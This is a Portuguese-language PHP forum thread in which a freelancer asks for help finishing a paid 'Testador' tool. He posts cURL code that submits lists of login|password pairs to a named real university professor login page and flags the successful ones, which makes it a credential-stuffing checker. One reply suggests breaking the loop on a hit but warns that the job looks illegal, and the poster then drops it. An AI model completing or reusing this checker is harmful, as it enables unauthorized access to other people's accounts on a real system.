CURL - PHP

09/07/2016

Opa, tudo bom? Um cliente pediu um sistema PHP, denominado por ele de: "Testador".
Onde, ele vai colocar uns dados em uma textarea (html) e o PHP vai testar isso em um servidor externo.

* Digamos assim:
Ele coloque as combinações na textarea:
giovanni|senha1
giovanni|senha2
giovanni|senha3

E no servidor externo, após colocar: giovanni|senha2 = o servidor responde com uma mensagem digamos: "Funcionou", caso contrário, o servidor vai responder com a mensagem: "Não funcionou".

Como eu faria para que ele testasse 1 por 1 da textarea, e ainda, detectasse que quando desse a mensagem "Funcionou" = ele separasse o giovanni|senha2 do resto que deu como "Não funcionou"
?

Fiz esse código com o site que ele pediu e não apresenta erros, mas sem funcionalidades:

<?php
error_reporting(0);
if(isset($_POST['enviar'])){
$line = explode("\r\n", $_POST['list']);
$total = count($line);
for($i=0;$i<count($line);$i++){
		$de++;
		$dads = explode("|", $line[$i]);
		$login = $dads[0];
		$senha = $dads[1];

            $ch = curl_init();                              
            curl_setopt($ch, CURLOPT_URL, "http://falurb.jacad.com.br:8080/prof/professor.efetuaLogin.logic");
            curl_setopt($ch, CURLOPT_HEADER, 1);
            $User_Agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0';
            $request_headers = array();
            $request_headers[] = 'Host: falurb.jacad.com.br:8080';
            $request_headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36';
            $request_headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8';
            $request_headers[] = 'Referer: http://falurb.jacad.com.br:8080/prof/professor.efetuaLogin.logic';
	    curl_setopt($ch, CURLOPT_HTTPHEADER, $request_headers);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POST, 1); 
            curl_setopt($ch, CURLOPT_POSTFIELDS, "usuarioProfessor.login=$login&usuarioProfessor.senha=$senha");
            $data = curl_exec($ch);
    if($data){
    if(stristr($data,$login) !== false){
		
		echo "<center><div class='alert alert-success' style='width: 90%;'><b style=\"color:gray\">#Aprovada ✔ </b> <b style=\"color:green\"> | {$login} | {$senha}</b></div></center>";
	}elseif(stristr($data,'Utilize o seu login e a sua senha para acessar o ambiente.') !== false){

		echo "<center><div class='alert alert-danger' style='width: 90%;'><b style=\"color:gray\">#Reprovada ✘ </b>  | {$login} | {$senha}</b></div></center>";  
    }
	}
	}
		};

            ?>



Se puderem me explicar, criar um novo código, agradeço muito, ele está me oferecendo um bom dinheiro para que eu faça esse sistema pra ele.
Obrigado,
Abçs!

PHP

Giovanni Zadinello

Melhor resposta

10/07/2016

O caminho é esse mesmo, só precisa parar o loop com "break" quando acertar!

Colega esse sistema não está cheirando coisa boa, já me passaram esse tipo de freela e geralmente é por um valor razoável, mas nego na hora porque já vi dar "merda"!

E pode ter certeza, quando chegam no cara que te contratou e apertam ele, na hora ele solta seu nome, email, conta bancária e etc...

William (devwilliam)

Responder Citar

Outras Respostas

10/07/2016

Giovanni Zadinello

O caminho é esse mesmo, só precisa parar o loop com "break" quando acertar! Colega esse sistema não está cheirando coisa boa, já me passaram esse tipo de freela e geralmente é por um valor razoável, mas nego na hora porque já vi dar "merda"! E pode ter certeza, quando chegam no cara que te contratou e apertam ele, na hora ele solta seu nome, email, conta bancária e etc...


Após ler sua resposta, respondi ao meu cliente que não farei o serviço, que ele procure outro para fazer.
Eu pensei que devido se tratar de programação básica de CURL, era tranquilo & sem problemas, mas após ler sua resposta, me "toquei" do que estava fazendo, e cancelei o serviço.
Obrigado desde já,
Abçs!
Responder Citar